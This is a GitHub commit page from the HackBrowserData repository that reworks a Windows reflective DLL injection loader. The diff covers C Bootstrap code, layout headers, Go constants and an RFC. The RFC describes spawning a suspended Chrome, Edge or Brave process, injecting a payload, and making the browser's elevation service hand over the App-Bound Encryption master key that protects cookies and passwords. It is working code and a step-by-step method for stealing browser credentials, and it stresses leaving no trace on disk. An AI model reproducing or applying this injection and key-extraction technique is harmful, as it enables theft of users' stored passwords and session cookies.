mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-10-13 03:37:12 +02:00
fix(windows): harden the ABE payload injection lifecycle (#638)
* fix(windows): harden the ABE payload injection lifecycle The browser main thread is never resumed, so no window appears and the temp user-data-dir is unnecessary. Payload memory is RW then RX, with an explicit FlushInstructionCache before the remote thread executes it. * test(windows): use US spelling in offset test * fix(windows): validate bootstrap parameter encoding
This commit is contained in:
1 parent
da18dbc29f
commit
8c89ac72dd
10 files changed
+389
-234
No files matched your search
@@ -17,7 +17,8 @@ ABE_C_SRCS = $(ABE_SRC_DIR)/abe_extractor.c \
|
||||
$(ABE_SRC_DIR)/bootstrap.c
|
||||
|
||||
ABE_HDRS = $(ABE_SRC_DIR)/com_iid.h \
|
||||
$(ABE_SRC_DIR)/bootstrap.h
|
||||
$(ABE_SRC_DIR)/bootstrap.h \
|
||||
$(ABE_SRC_DIR)/bootstrap_layout.h
|
||||
|
||||
$(ABE_BIN): $(ABE_C_SRCS) $(ABE_HDRS)
|
||||
@mkdir -p $(ABE_BIN_DIR)
|
||||
|
||||
@@ -19,8 +19,8 @@ typedef struct {
|
||||
pfn_NtFlushInstructionCache NtFlushInstructionCache;
|
||||
} resolved_imports;
|
||||
|
||||
#define MARK(imgBase, step) do { \
|
||||
*(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
|
||||
#define MARK(scratchBase, step) do { \
|
||||
*(volatile BYTE *)((BYTE *)(scratchBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
|
||||
} while (0)
|
||||
|
||||
// noinline is load-bearing: if this gets inlined into Bootstrap,
|
||||
@@ -53,24 +53,25 @@ static ULONG_PTR locate_own_image_base(void)
|
||||
return 0;
|
||||
}
|
||||
|
||||
// read_preresolved_imports pulls the five function pointers the Go injector
|
||||
// patched into the payload's DOS stub (see patchPreresolvedImports on the
|
||||
// Go side). Returns FALSE if any slot is NULL — indicating a build-stub
|
||||
// mismatch between C and Go.
|
||||
static BOOL read_preresolved_imports(ULONG_PTR imageBase, resolved_imports *out)
|
||||
// read_bootstrap_params pulls the scratch pointer and function pointers from
|
||||
// the remote thread parameter block written by the Go injector. The target
|
||||
// process is created by us and kept suspended, so passing explicit parameters
|
||||
// is clearer than re-discovering imports from the PEB or patching the DOS stub.
|
||||
static BOOL read_bootstrap_params(LPVOID lpParameter, resolved_imports *out,
|
||||
ULONG_PTR *outScratchBase)
|
||||
{
|
||||
out->LoadLibraryA =
|
||||
*(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET);
|
||||
out->GetProcAddress =
|
||||
*(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET);
|
||||
out->VirtualAlloc =
|
||||
*(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET);
|
||||
out->VirtualProtect =
|
||||
*(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET);
|
||||
out->NtFlushInstructionCache =
|
||||
*(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET);
|
||||
if (!lpParameter) return FALSE;
|
||||
|
||||
return out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc &&
|
||||
BootstrapParams *params = (BootstrapParams *)lpParameter;
|
||||
*outScratchBase = params->scratch_base;
|
||||
out->LoadLibraryA = (pfn_LoadLibraryA)params->LoadLibraryA;
|
||||
out->GetProcAddress = (pfn_GetProcAddress)params->GetProcAddress;
|
||||
out->VirtualAlloc = (pfn_VirtualAlloc)params->VirtualAlloc;
|
||||
out->VirtualProtect = (pfn_VirtualProtect)params->VirtualProtect;
|
||||
out->NtFlushInstructionCache =
|
||||
(pfn_NtFlushInstructionCache)params->NtFlushInstructionCache;
|
||||
|
||||
return *outScratchBase && out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc &&
|
||||
out->VirtualProtect && out->NtFlushInstructionCache;
|
||||
}
|
||||
|
||||
@@ -146,8 +147,8 @@ static void apply_base_relocations(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt)
|
||||
}
|
||||
|
||||
// link_iat resolves the Import Address Table for each DLL the payload
|
||||
// references, using the pre-resolved LoadLibraryA + GetProcAddress the
|
||||
// Go injector patched in.
|
||||
// references, using the LoadLibraryA + GetProcAddress pointers the Go injector
|
||||
// passes in the BootstrapParams block.
|
||||
static void link_iat(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
const resolved_imports *imp)
|
||||
{
|
||||
@@ -211,9 +212,8 @@ static void set_section_protections(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
}
|
||||
|
||||
// invoke_dllmain calls the payload's DllMain with DLL_PROCESS_ATTACH.
|
||||
// lpReserved carries the original raw-image base so DllMain (= the ABE
|
||||
// extractor entry) can write the decrypted key back into the scratch
|
||||
// region the Go injector reads.
|
||||
// lpReserved carries the standalone scratch base so DllMain (= the ABE
|
||||
// extractor entry) can write the decrypted key where the Go injector reads.
|
||||
static ULONG_PTR invoke_dllmain(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
ULONG_PTR scratchBase)
|
||||
{
|
||||
@@ -227,37 +227,38 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
{
|
||||
ULONG_PTR imageBase = locate_own_image_base();
|
||||
if (imageBase == 0) return 0;
|
||||
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
|
||||
|
||||
resolved_imports imp;
|
||||
if (!read_preresolved_imports(imageBase, &imp)) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
|
||||
ULONG_PTR scratchBase = 0;
|
||||
if (!read_bootstrap_params(lpParameter, &imp, &scratchBase)) {
|
||||
if (scratchBase) MARK(scratchBase, BOOTSTRAP_MARK_ERR_IMPORTS);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_MZ_FOUND);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_IMPORTS_OK);
|
||||
|
||||
PIMAGE_NT_HEADERS64 newNt;
|
||||
BYTE *newBase = allocate_and_copy_image(imageBase, &imp, &newNt);
|
||||
if (!newBase) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_ERR_ALLOC);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_ALLOC_OK);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_COPIED);
|
||||
|
||||
apply_base_relocations(newBase, newNt);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_RELOCATED);
|
||||
|
||||
link_iat(newBase, newNt, &imp);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
|
||||
|
||||
set_section_protections(newBase, newNt, &imp);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_PERMISSIONS);
|
||||
|
||||
imp.NtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
|
||||
|
||||
ULONG_PTR result = invoke_dllmain(newBase, newNt, imageBase);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_DONE);
|
||||
ULONG_PTR result = invoke_dllmain(newBase, newNt, scratchBase);
|
||||
MARK(scratchBase, BOOTSTRAP_MARK_DONE);
|
||||
return result;
|
||||
}
|
||||
@@ -13,11 +13,13 @@ const (
|
||||
KeyOffset = 0x40
|
||||
KeyLen = 0x20
|
||||
|
||||
ImpLoadLibraryAOffset = 0x40
|
||||
ImpGetProcAddressOffset = 0x48
|
||||
ImpVirtualAllocOffset = 0x50
|
||||
ImpVirtualProtectOffset = 0x58
|
||||
ImpNtFlushICOffset = 0x60
|
||||
ParamsSize = 0x30
|
||||
ParamScratchBase = 0x0
|
||||
ParamLoadLibraryA = 0x8
|
||||
ParamGetProcAddress = 0x10
|
||||
ParamVirtualAlloc = 0x18
|
||||
ParamVirtualProtect = 0x20
|
||||
ParamNtFlushIC = 0x28
|
||||
|
||||
MarkMZFound = 0x2
|
||||
MarkImportsOK = 0x5
|
||||
|
||||
@@ -20,11 +20,13 @@ const (
|
||||
KeyOffset = C.BOOTSTRAP_KEY_OFFSET
|
||||
KeyLen = C.BOOTSTRAP_KEY_LEN
|
||||
|
||||
ImpLoadLibraryAOffset = C.BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET
|
||||
ImpGetProcAddressOffset = C.BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET
|
||||
ImpVirtualAllocOffset = C.BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET
|
||||
ImpVirtualProtectOffset = C.BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET
|
||||
ImpNtFlushICOffset = C.BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET
|
||||
ParamsSize = C.BOOTSTRAP_PARAMS_SIZE
|
||||
ParamScratchBase = C.BOOTSTRAP_PARAM_SCRATCH_BASE
|
||||
ParamLoadLibraryA = C.BOOTSTRAP_PARAM_LOAD_LIBRARY_A
|
||||
ParamGetProcAddress = C.BOOTSTRAP_PARAM_GET_PROC_ADDRESS
|
||||
ParamVirtualAlloc = C.BOOTSTRAP_PARAM_VIRTUAL_ALLOC
|
||||
ParamVirtualProtect = C.BOOTSTRAP_PARAM_VIRTUAL_PROTECT
|
||||
ParamNtFlushIC = C.BOOTSTRAP_PARAM_NT_FLUSH_IC
|
||||
|
||||
MarkMZFound = C.BOOTSTRAP_MARK_MZ_FOUND
|
||||
MarkImportsOK = C.BOOTSTRAP_MARK_IMPORTS_OK
|
||||
|
||||
@@ -6,11 +6,8 @@
|
||||
|
||||
// BootstrapScratch describes the IPC contract between the C payload running
|
||||
// inside the target browser process (chrome.exe, msedge.exe, brave.exe, etc.)
|
||||
// and the Go injector in our own process. It squats inside
|
||||
// the target DLL's PE DOS header region. Windows' PE loader ignores the DOS
|
||||
// stub at 0x40..0x77, and we also borrow a few reserved bytes between 0x28
|
||||
// and 0x3B inside IMAGE_DOS_HEADER. The e_lfanew at 0x3C..0x3F MUST be left
|
||||
// untouched so the PE loader can still find the NT headers.
|
||||
// and the Go injector in our own process. The injector allocates this as a
|
||||
// standalone RW block in the target process and passes its address to Bootstrap.
|
||||
//
|
||||
// This header is deliberately free of <windows.h> so cgo -godefs can read it
|
||||
// on macOS / Linux to regenerate the Go-side constants.
|
||||
@@ -26,23 +23,19 @@ typedef struct __attribute__((packed)) BootstrapScratch {
|
||||
uint32_t hresult; // 0x2C: COM HRESULT on failure (0 otherwise)
|
||||
uint32_t com_err; // 0x30: IElevator.DecryptData out DWORD on failure
|
||||
|
||||
uint8_t dos_header_tail[0x40 - 0x34]; // 0x34..0x3F, includes e_lfanew @ 0x3C
|
||||
|
||||
// 0x40..0x67: time-shared region
|
||||
// pre-Bootstrap: 5 pre-resolved kernel32/ntdll function pointers
|
||||
// post-DllMain : 32-byte master key at 0x40..0x5F
|
||||
union {
|
||||
struct {
|
||||
uintptr_t LoadLibraryA; // 0x40
|
||||
uintptr_t GetProcAddress; // 0x48
|
||||
uintptr_t VirtualAlloc; // 0x50
|
||||
uintptr_t VirtualProtect; // 0x58
|
||||
uintptr_t NtFlushInstructionCache; // 0x60
|
||||
} imports;
|
||||
uint8_t key[32]; // 0x40..0x5F
|
||||
} shared;
|
||||
uint8_t _reserved_34[0x40 - 0x34]; // 0x34..0x3F
|
||||
uint8_t key[32]; // 0x40..0x5F
|
||||
} BootstrapScratch;
|
||||
|
||||
typedef struct __attribute__((packed)) BootstrapParams {
|
||||
uintptr_t scratch_base;
|
||||
uintptr_t LoadLibraryA;
|
||||
uintptr_t GetProcAddress;
|
||||
uintptr_t VirtualAlloc;
|
||||
uintptr_t VirtualProtect;
|
||||
uintptr_t NtFlushInstructionCache;
|
||||
} BootstrapParams;
|
||||
|
||||
// Byte offsets derived from the struct. These are the ONLY place raw numeric
|
||||
// offsets appear; every C and Go consumer uses these names (or the Go-side
|
||||
// constants generated from them via cgo -godefs).
|
||||
@@ -52,14 +45,18 @@ typedef struct __attribute__((packed)) BootstrapScratch {
|
||||
#define BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET offsetof(struct BootstrapScratch, extract_err_code)
|
||||
#define BOOTSTRAP_HRESULT_OFFSET offsetof(struct BootstrapScratch, hresult)
|
||||
#define BOOTSTRAP_COMERR_OFFSET offsetof(struct BootstrapScratch, com_err)
|
||||
#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, shared.key)
|
||||
#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, key)
|
||||
#define BOOTSTRAP_KEY_LEN 32
|
||||
|
||||
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET offsetof(struct BootstrapScratch, shared.imports.LoadLibraryA)
|
||||
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET offsetof(struct BootstrapScratch, shared.imports.GetProcAddress)
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualAlloc)
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualProtect)
|
||||
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET offsetof(struct BootstrapScratch, shared.imports.NtFlushInstructionCache)
|
||||
// The Go injector serializes BootstrapParams by hand, so every field offset is generated
|
||||
// here too — adding or reordering a field then changes layout.go and breaks gen-layout-verify.
|
||||
#define BOOTSTRAP_PARAMS_SIZE sizeof(struct BootstrapParams)
|
||||
#define BOOTSTRAP_PARAM_SCRATCH_BASE offsetof(struct BootstrapParams, scratch_base)
|
||||
#define BOOTSTRAP_PARAM_LOAD_LIBRARY_A offsetof(struct BootstrapParams, LoadLibraryA)
|
||||
#define BOOTSTRAP_PARAM_GET_PROC_ADDRESS offsetof(struct BootstrapParams, GetProcAddress)
|
||||
#define BOOTSTRAP_PARAM_VIRTUAL_ALLOC offsetof(struct BootstrapParams, VirtualAlloc)
|
||||
#define BOOTSTRAP_PARAM_VIRTUAL_PROTECT offsetof(struct BootstrapParams, VirtualProtect)
|
||||
#define BOOTSTRAP_PARAM_NT_FLUSH_IC offsetof(struct BootstrapParams, NtFlushInstructionCache)
|
||||
|
||||
// Progress markers written by Bootstrap itself (enum-like, not offsets).
|
||||
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
|
||||
@@ -94,7 +91,8 @@ _Static_assert(offsetof(struct BootstrapScratch, key_status) == 0x29, "key
|
||||
_Static_assert(offsetof(struct BootstrapScratch, extract_err_code) == 0x2A, "extract_err_code offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, com_err) == 0x30, "com_err offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset");
|
||||
_Static_assert(sizeof(((struct BootstrapScratch *)0)->shared.key) == 32, "key length");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, key) == 0x40, "key offset");
|
||||
_Static_assert(sizeof(((struct BootstrapScratch *)0)->key) == 32, "key length");
|
||||
_Static_assert(sizeof(struct BootstrapParams) == 48, "bootstrap params size");
|
||||
|
||||
#endif // HBD_ABE_BOOTSTRAP_LAYOUT_H
|
||||
@@ -1,13 +1,10 @@
|
||||
# RFC-010: Chrome App-Bound Encryption Integration
|
||||
|
||||
**Author**: moonD4rk
|
||||
**Status**: Living Document
|
||||
**Created**: 2026-04-17
|
||||
**Last updated**: 2026-04-19
|
||||
**Author**: moonD4rk **Status**: Living Document **Created**: 2026-04-17 **Last updated**: 2026-04-19
|
||||
|
||||
## 1. Overview
|
||||
|
||||
Chrome 127+ introduced **App-Bound Encryption (ABE)** on Windows. The `Local State` key that decrypts `v10`-era cookies/passwords is no longer a user-bound DPAPI blob; it is now an *app-bound* blob that only a legitimate `chrome.exe` / `msedge.exe` / `brave.exe` process can unwrap via the `elevation_service` COM RPC (`IElevator::DecryptData`).
|
||||
Chrome 127+ introduced **App-Bound Encryption (ABE)** on Windows. The `Local State` key that decrypts `v10`-era cookies/passwords is no longer a user-bound DPAPI blob; it is now an _app-bound_ blob that only a legitimate `chrome.exe` / `msedge.exe` / `brave.exe` process can unwrap via the `elevation_service` COM RPC (`IElevator::DecryptData`).
|
||||
|
||||
This RFC documents how HackBrowserData integrates ABE support end-to-end while keeping the project **pure Go by default, cross-platform, zero disk footprint at runtime, and zero cost for non-Windows contributors.**
|
||||
|
||||
@@ -19,13 +16,13 @@ Related RFCs:
|
||||
|
||||
### 1.1 Compatibility contract
|
||||
|
||||
| Component | Contract |
|
||||
|---|---|
|
||||
| Go toolchain | **1.20** (pinned; Go 1.21+ drops Win7) |
|
||||
| Windows host | Any Win10 1909+ (PE loader + UCRT) |
|
||||
| Chrome family | Any v127+ (ABE introduced) |
|
||||
| zig toolchain | 0.13+ (for `make payload`) |
|
||||
| Target arch | x86_64 only (x86 / ARM64 reserved) |
|
||||
| Component | Contract |
|
||||
| ------------- | -------------------------------------- |
|
||||
| Go toolchain | **1.20** (pinned; Go 1.21+ drops Win7) |
|
||||
| Windows host | Any Win10 1909+ (PE loader + UCRT) |
|
||||
| Chrome family | Any v127+ (ABE introduced) |
|
||||
| zig toolchain | 0.13+ (for `make payload`) |
|
||||
| Target arch | x86_64 only (x86 / ARM64 reserved) |
|
||||
|
||||
## 2. The constraint that shapes the design
|
||||
|
||||
@@ -56,33 +53,38 @@ browser/chromium.Extract()
|
||||
**Stage 2 — Payload preparation** (still our process)
|
||||
|
||||
1. Read the embedded payload via `//go:embed abe_extractor_amd64.bin` (~75 KB).
|
||||
2. Patch 5 × `uintptr` function pointers into the payload's DOS stub (see §4.4).
|
||||
2. Prepare a remote Bootstrap parameter block with the scratch pointer and 5 × `uintptr` function pointers (see §4.4).
|
||||
3. Look up `Bootstrap`'s **raw file offset** (not RVA) via `debug/pe`.
|
||||
|
||||
**Stage 3 — Spawn + inject** (still our process, target is newly spawned)
|
||||
|
||||
```
|
||||
CreateProcessW(browser.exe, CREATE_SUSPENDED)
|
||||
VirtualAllocEx(target, RWX, sizeOf(payload))
|
||||
WriteProcessMemory(patched bytes)
|
||||
ResumeThread(mainThread) + Sleep(500ms) // let ntdll finish loader init
|
||||
CreateRemoteThread(target, remoteBase + bootstrapFileOffset)
|
||||
VirtualAllocEx(target, RW, sizeOf(payload))
|
||||
WriteProcessMemory(payload bytes)
|
||||
VirtualProtectEx(target, payload, RX)
|
||||
FlushInstructionCache(target, payload) // required before the region is executed
|
||||
VirtualAllocEx(target, RW, sizeof(BootstrapScratch))
|
||||
VirtualAllocEx(target, RW, sizeof(BootstrapParams))
|
||||
CreateRemoteThread(target, remoteBase + bootstrapFileOffset, paramsBase)
|
||||
```
|
||||
|
||||
The browser's own primary thread is created suspended and never resumed — only our remote thread runs, so no Chromium UI is ever created and no `--user-data-dir` isolation is needed to survive `ProcessSingleton`. Process-wide loader init still happens, because the first thread to run in the process goes through `LdrInitializeThunk`.
|
||||
|
||||
**Stage 4 — Inside the remote `browser.exe`**
|
||||
|
||||
The hijacked thread runs `Bootstrap` (C), our self-written reflective DLL loader. On return it calls the payload's `DllMain`:
|
||||
The remote thread runs `Bootstrap` (C), our self-written reflective DLL loader. On return it calls the payload's `DllMain`:
|
||||
|
||||
```
|
||||
Bootstrap → see §4.1 (7 helpers + orchestrator)
|
||||
↓ calls DllMain(DLL_PROCESS_ATTACH, imageBase)
|
||||
↓ calls DllMain(DLL_PROCESS_ATTACH, scratchBase)
|
||||
DoExtractKey → see §4.2
|
||||
CoCreateInstance(CLSID, IID_v2 | fallback IID_v1)
|
||||
CoSetProxyBlanket(PKT_PRIVACY + IMPERSONATE)
|
||||
vtbl[slot]->DecryptData(bstrEnc)
|
||||
↓ COM RPC
|
||||
elevation_service (SYSTEM) → returns 32-byte plaintext key
|
||||
publish_key() → imageBase[0x40..0x5F] (success)
|
||||
publish_key() → scratchBase[0x40..0x5F] (success)
|
||||
publish_error(code, hr, comErr) (failure)
|
||||
```
|
||||
|
||||
@@ -105,16 +107,16 @@ Three translation units, ~500 lines of pure C. No C++, no assembly, no direct sy
|
||||
Structure after refactor: **one ~30-line orchestrator + seven single-purpose static helpers**:
|
||||
|
||||
| Helper | Responsibility |
|
||||
|---|---|
|
||||
| --- | --- |
|
||||
| `locate_own_image_base` | Backward-scan from `__builtin_return_address(0)` for MZ/PE magic (must stay `noinline`) |
|
||||
| `read_preresolved_imports` | Read 5 function pointers the Go injector patched into DOS stub (§4.4) |
|
||||
| `read_bootstrap_params` | Read the standalone scratch pointer and 5 function pointers from the remote parameter block (§4.4) |
|
||||
| `allocate_and_copy_image` | `VirtualAlloc(SizeOfImage, RW)` + copy headers/sections |
|
||||
| `apply_base_relocations` | Walk `IMAGE_DIRECTORY_ENTRY_BASERELOC`, fix `IMAGE_REL_BASED_DIR64` |
|
||||
| `link_iat` | Resolve each imported DLL + fill IAT via pre-resolved `LoadLibraryA` / `GetProcAddress` |
|
||||
| `link_iat` | Resolve each imported DLL + fill IAT via parameter-supplied `LoadLibraryA` / `GetProcAddress` |
|
||||
| `set_section_protections` | `.text → RX`, `.rdata → R`, `.data → RW` per `Characteristics` |
|
||||
| `invoke_dllmain` | Call mapped `DllMain(DLL_PROCESS_ATTACH, imageBase)` — `imageBase` is the scratch handoff pointer |
|
||||
| `invoke_dllmain` | Call mapped `DllMain(DLL_PROCESS_ATTACH, scratchBase)` |
|
||||
|
||||
Progress markers: after each major step the orchestrator writes one byte to `imageBase + BOOTSTRAP_MARKER_OFFSET` (0x28, inside `IMAGE_DOS_HEADER.e_res2`). The Go injector reads this back on failure to pinpoint the stage.
|
||||
Progress markers: after each major step the orchestrator writes one byte to `scratchBase + BOOTSTRAP_MARKER_OFFSET` (0x28). The Go injector reads this back on failure to pinpoint the stage.
|
||||
|
||||
### 4.2 COM extractor — `abe_extractor.c`
|
||||
|
||||
@@ -151,11 +153,11 @@ Static table mapping `exe_basename → { CLSID, IID_v1, IID_v2, kind }`. `kind`
|
||||
|
||||
Current coverage: Chrome Stable/Beta, Brave, Edge, Avast Secure Browser, CocCoc. Source file `crypto/windows/abe_native/com_iid.c` is the authoritative list — see §10 for how to add a new fork.
|
||||
|
||||
### 4.4 Pre-resolved imports (non-obvious design)
|
||||
### 4.4 Bootstrap parameter block (non-obvious design)
|
||||
|
||||
The original plan had `Bootstrap` walk the PEB's `InMemoryOrderModuleList` to find kernel32 / ntdll and resolve `LoadLibraryA` etc. via export-table parsing. It worked in test processes but **crashed reproducibly in Chrome 147's broker process** — `resolve_export` returned NULL for every LDR entry. Root cause was never fully pinpointed (Chrome-specific process state + Windows 10 LDR layout interaction).
|
||||
|
||||
Workaround: **Go resolves the 5 required functions in its own process** (via `windows.LazyProc.Addr()` in `utils/injector/winapi_windows.go`) and **patches the raw u64 values into the payload's DOS stub** at fixed offsets before `WriteProcessMemory`. `Bootstrap` just reads them; no PEB walk, no export parsing.
|
||||
Workaround: **Go resolves the 5 required functions in its own process** (via `windows.LazyProc.Addr()` in `utils/winapi/process_windows.go`) and writes those raw u64 values into a dedicated `BootstrapParams` block in the target process. `Bootstrap` reads the remote-thread parameter; no PEB walk, no export parsing, and no mutation of the payload bytes.
|
||||
|
||||
Validity relies on Windows **KnownDlls + session-consistent ASLR** — `kernel32.dll` and `ntdll.dll` load at the same virtual address in all processes of a boot session.
|
||||
|
||||
@@ -166,8 +168,8 @@ Validity relies on Windows **KnownDlls + session-consistent ASLR** — `kernel32
|
||||
Four files collaborate:
|
||||
|
||||
| File | Role |
|
||||
|---|---|
|
||||
| `reflective_windows.go` | `Reflective.Inject(exePath, payload, env) ([]byte, error)` — the orchestrator. Win32 calls (`VirtualAllocEx`, `CreateRemoteThread`, `NtFlushIC`, import-address lookups) delegate to `utils/winapi/` via `CallBoolErr`. |
|
||||
| --- | --- |
|
||||
| `reflective_windows.go` | `Reflective.Inject(exePath, payload, env) ([]byte, error)` — the orchestrator. Win32 calls (`VirtualAllocEx`, `VirtualProtectEx`, `CreateRemoteThread`, import-address lookups) delegate to `utils/winapi/` via `CallBoolErr`. |
|
||||
| `errors_windows.go` | `formatABEError(scratchResult) string` — renders the C-side diag channel into human-readable strings via two lookup maps (`ABE_ERR_*` names + known HRESULT names like `E_ACCESSDENIED`). |
|
||||
| `pe_windows.go` | `FindExportFileOffset(dllBytes, "Bootstrap")` — raw-file offset via `debug/pe`. |
|
||||
| `arch_windows.go` | Architecture validation (amd64-only today). |
|
||||
@@ -176,12 +178,12 @@ Four files collaborate:
|
||||
|
||||
### 5.2 Scratch layout codegen
|
||||
|
||||
The C payload and Go injector communicate through a byte-level protocol inside the target process's DOS stub region. The layout is defined **once** as a `BootstrapScratch` struct + `offsetof`-based macros in `crypto/windows/abe_native/bootstrap_layout.h`. `_Static_assert`s in the same header guarantee compile-time detection of layout drift:
|
||||
The C payload and Go injector communicate through a byte-level protocol in a standalone RW scratch allocation inside the target process. The layout is defined **once** as a `BootstrapScratch` struct + `offsetof`-based macros in `crypto/windows/abe_native/bootstrap_layout.h`. `_Static_assert`s in the same header guarantee compile-time detection of layout drift:
|
||||
|
||||
```c
|
||||
_Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, key) == 0x40, "key offset");
|
||||
```
|
||||
|
||||
Go consumes the same constants via **`go tool cgo -godefs`** (a development-time tool, not a runtime dependency). `make gen-layout` regenerates `crypto/windows/abe_native/bootstrap/layout.go` from `bootstrap_layout.h` using `CC="zig cc"` for bit-identical results across host OSes. `make gen-layout-verify` can be run locally to verify the committed `layout.go` matches the current header.
|
||||
@@ -205,14 +207,14 @@ On extraction success, logs at `Info` level (`abe: retrieved <browser> master ke
|
||||
## 6. Build chain
|
||||
|
||||
- **Default build** (any host, no zig): `go build ./cmd/hack-browser-data/` succeeds; ABE is stubbed out. Legacy v10/v11 cookies still decrypt via DPAPI.
|
||||
- **Windows release with ABE**: `make build-windows` = `make payload` (zig cc → `crypto/windows/payload/abe_extractor_amd64.bin`) + `GOOS=windows go build -tags abe_embed`. The `abe_embed` tag activates `//go:embed` on the compiled binary.
|
||||
- **Layout regen**: `make gen-layout` after any change to `bootstrap_layout.h`.
|
||||
- **Windows release with ABE**: `make build-windows` = `make payload` (zig cc → `crypto/windows/payload/abe_extractor_amd64.bin`) + `GOOS=windows go build -tags abe_embed`. The `abe_embed` tag activates `//go:embed` on the compiled binary, so the payload is always built from the C sources in the same run and cannot go stale.
|
||||
- **Layout regen**: `make gen-layout` after any change to `bootstrap_layout.h`. This also covers the `BootstrapParams` field offsets the Go injector serializes by hand.
|
||||
- **`go.mod` unchanged** — no new dependencies. `zig` is the only external toolchain, and only when actually rebuilding the payload.
|
||||
|
||||
## 7. Impact on non-Windows contributors — zero
|
||||
|
||||
| Scenario | Requires zig? | Requires CGO? | Default `go build ./...` succeeds? |
|
||||
|---|---|---|---|
|
||||
| --- | --- | --- | --- |
|
||||
| macOS / Linux feature work | no | no | yes |
|
||||
| Windows non-ABE (v10/DPAPI) | no | no | yes (stub path) |
|
||||
| Windows release with ABE | **yes** | no | `make build-windows` |
|
||||
@@ -227,50 +229,47 @@ All ABE-specific Go code is behind `//go:build windows` (plus `&& abe_embed` for
|
||||
- Payload DLL exists only as:
|
||||
1. Build artifact on the developer machine (`crypto/windows/payload/abe_extractor_amd64.bin`, git-ignored)
|
||||
2. `.rdata` section of `hack-browser-data.exe` (`//go:embed`)
|
||||
3. Go `[]byte` in our process memory (one `copy()` for import patching)
|
||||
4. `VirtualAllocEx`'d region in the target browser during injection; released on `TerminateProcess`
|
||||
3. Go `[]byte` in our process memory
|
||||
4. `VirtualAllocEx`'d RX payload region in the target browser during injection; released on `TerminateProcess`
|
||||
|
||||
No `%TEMP%\*.dll` or `%TEMP%\*.txt`. The master key is handed back via `ReadProcessMemory` on the target's scratch region at `remoteBase + 0x40` (32 bytes). Everything stays in RAM.
|
||||
No `%TEMP%\*.dll` or `%TEMP%\*.txt`. The master key is handed back via `ReadProcessMemory` on the target's standalone scratch region at `scratchBase + 0x40` (32 bytes). Everything stays in RAM.
|
||||
|
||||
### 8.1 Scratch layout
|
||||
|
||||
```
|
||||
imageBase + 0x00 MZ header (untouched by us)
|
||||
imageBase + 0x28 marker (1 B) ← Bootstrap progress
|
||||
imageBase + 0x29 key_status (1 B; 0x01 = ready)
|
||||
imageBase + 0x2A extract_err_code (1 B) ← ABE_ERR_* category on failure
|
||||
imageBase + 0x2C hresult (4 B LE) ← COM HRESULT on failure (0 on success)
|
||||
